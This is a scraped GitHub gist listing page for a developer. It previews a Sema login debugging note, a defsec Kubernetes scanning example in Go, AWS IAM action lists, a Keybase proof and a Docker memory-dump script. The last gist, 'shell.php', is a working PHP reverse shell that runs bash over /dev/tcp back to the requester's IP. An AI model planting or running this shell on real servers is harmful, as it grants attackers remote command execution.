Skip to content

Instantly share code, notes, and snippets.

View liamg's full-sized avatar

Liam Galvin liamg

View GitHub Profile
@liamg
liamg / haha
Last active August 18, 2023 10:16 — forked from bgeesaman/liam.txt
For Liam
hello2
@liamg
liamg / gist:6ff04af578e025048ce6d60670a32fe9
Last active August 15, 2023 15:42
💀 This repo is broken.
We couldn’t find that file to show.
@liamg
liamg / sema-debug.md
Last active August 4, 2022 08:38
Sema Debugging

First, I click "Sign in with GitHub":

image

At this point the page hangs for about 12 seconds.

image

This delay is caused by the auth callback from GitHub (https://api.semasoftware.com/v1/identities/github/cb?code=...), but it does successfully complete after this time and redirect to /dashboard, giving the impression the authentication was successful:

@liamg
liamg / main.go
Created April 4, 2022 10:00
Example: Kubernetes scanning with defsec
package main
import (
"context"
"fmt"
"os"
"strings"
"github.com/aquasecurity/defsec/pkg/scanners/kubernetes"
)
@liamg
liamg / gist:6638ff00a9c73684663fdeabee22748a
Created July 21, 2021 13:18
Complete List of All Current AWS IAM Actions
a4b:ApproveSkill
a4b:AssociateSkillWithSkillGroup
a4b:AssociateSkillWithUsers
a4b:CompleteRegistration
a4b:CreateAddressBook
a4b:CreateBusinessReportSchedule
a4b:CreateConferenceProvider
a4b:CreateContact
a4b:CreateGatewayGroup
a4b:CreateNetworkProfile
@liamg
liamg / gist:eafcb27f29fd859e80ff871eaac11bb5
Created July 21, 2021 13:12
AWS IAM Actions which require a wildcard resource (*)
account:DisableRegion
account:EnableRegion
account:ListRegions
activate:CreateForm
activate:GetAccountContact
activate:GetContentInfo
activate:GetCosts
activate:GetCredits
activate:GetMemberInfo
activate:GetProgram
@liamg
liamg / keybase.md
Created April 9, 2021 17:53
keybase.md

Keybase proof

I hereby claim:

  • I am liamg on github.
  • I am liam_galvin (https://keybase.io/liam_galvin) on keybase.
  • I have a public key ASBy4FBuY3O_ln1NcwXXYuIqzvYSOLglD33xgtWlRQGLpQo

To claim this, I am signing this object:

@liamg
liamg / dump_docker_memory.sh
Last active March 5, 2024 09:34
Generate memory dumps for docker container processes
#!/usr/bin/env bash
#
# Generate core dumps of docker container processes
#
# Usage:
# ./dump_docker_memory.sh [containerid]
#
# Output directory will be created in /tmp
#
@liamg
liamg / shell.php
Last active July 23, 2020 13:36
Tiny PHP Reverse Shell
<?php
$ip = $_SERVER["REMOTE_ADDR"];
set_time_limit(0);
exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/4444 0>&1'");